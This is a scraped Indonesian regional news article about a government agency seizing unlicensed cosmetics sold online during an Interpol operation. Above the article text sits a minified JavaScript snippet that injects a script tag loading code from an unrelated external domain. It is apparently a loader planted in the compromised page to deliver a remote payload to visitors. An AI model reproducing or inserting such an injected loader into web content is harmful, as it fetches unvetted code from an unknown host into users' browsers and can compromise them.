(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) kembali menyita puluhan produk kosmetik tidak memiliki izin edar. Terutama yang dijual secara online di kawasan Kota Amuntai dan sekitarnya, Rabu (11/3/2020).
Penyitaan puluhan produk kosmetik ini digelar dalam rangka ‘Operasi PANGEA’ atau operasi internasional yang dilakukan di bawah koordinasi Interpol. “Giat ini melibatkan partisipasi aktif negara anggota Interpol dengan fokus pelaksanaan memutus sistem distribusi obat ilegal melalui media internet berupa deteksi infrastruktur internet, sistem pembayaran elektronik dan tata cara pengiriman barang, sederhananya produk-produk yang dijual online,” Jelas Kepala BPOM HSU Bambang Hery Purwanto di sela-sela kegiatan.
Dikatakan Bambang, dalam operasi kali ini Loka BPOM HSU bersama dengan Dinkes HSU, Dinas Perdagangan HSU dan Diskominfo HSU melakukan operasi penindakan tindak pidana kosmetik tidak memiliki izin edar terutama yang dijual secara online. “Dalam hal ini BPOM secara serentak melakukan operasi PANGEA yang dilaksanakan di seluruh daerah.” Ujarnya
Menurut Bambang, dari dua tempat digelarnya operasi kali ini, setidaknya ditemukan sebanyak 21 macam item kosmetik yang tidak memiliki izin edar. Terhadap temuan tersebut pihaknya akan melakukan proses tahapan selanjutnya termasuk melakukan pemeriksaan saksi dan melengkapi berkas yang dibutuhkan
“Untuk pelanggarannya terkait dengan mengedarkan kosmetik yang tidak memiliki izin edar melanggar Undang-Undang Kesehatan Pasal 197 dengan ancaman pidana maksimal 15 tahun dan denda maksimal Rp 1,5 miliar,” tegas Bambang.
Sementara untuk para pedagang atau pengusaha yang melakukan produksi atau mengedarkan kosmetik yang tidak memiliki izin edar dimohon kami himbau untuk mengganti produknya dengan yang memiliki izin edar lanjutnya.
“Untuk proses izin edar kami dari BPOM melakukan percepatan terhadap izin edar kosmetik, sebagai badan kami siap membantu terhadap usaha yang memproduksi kosmetik untuk mempercepat proses pembuatan izin edar” pungkasnya
Adapun operasi kali ini, pihak BPOM HSU bersama tim mendatangi para pedagang atau distributor kosmetik yang diketahui menjual obat-obatan dan kosmetik secara online di wilayah kabupaten HSU seperti di kawasan kota Amuntai dan Desa Sungai Turak Kecamantan Amuntai Utara.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
This website uses cookies.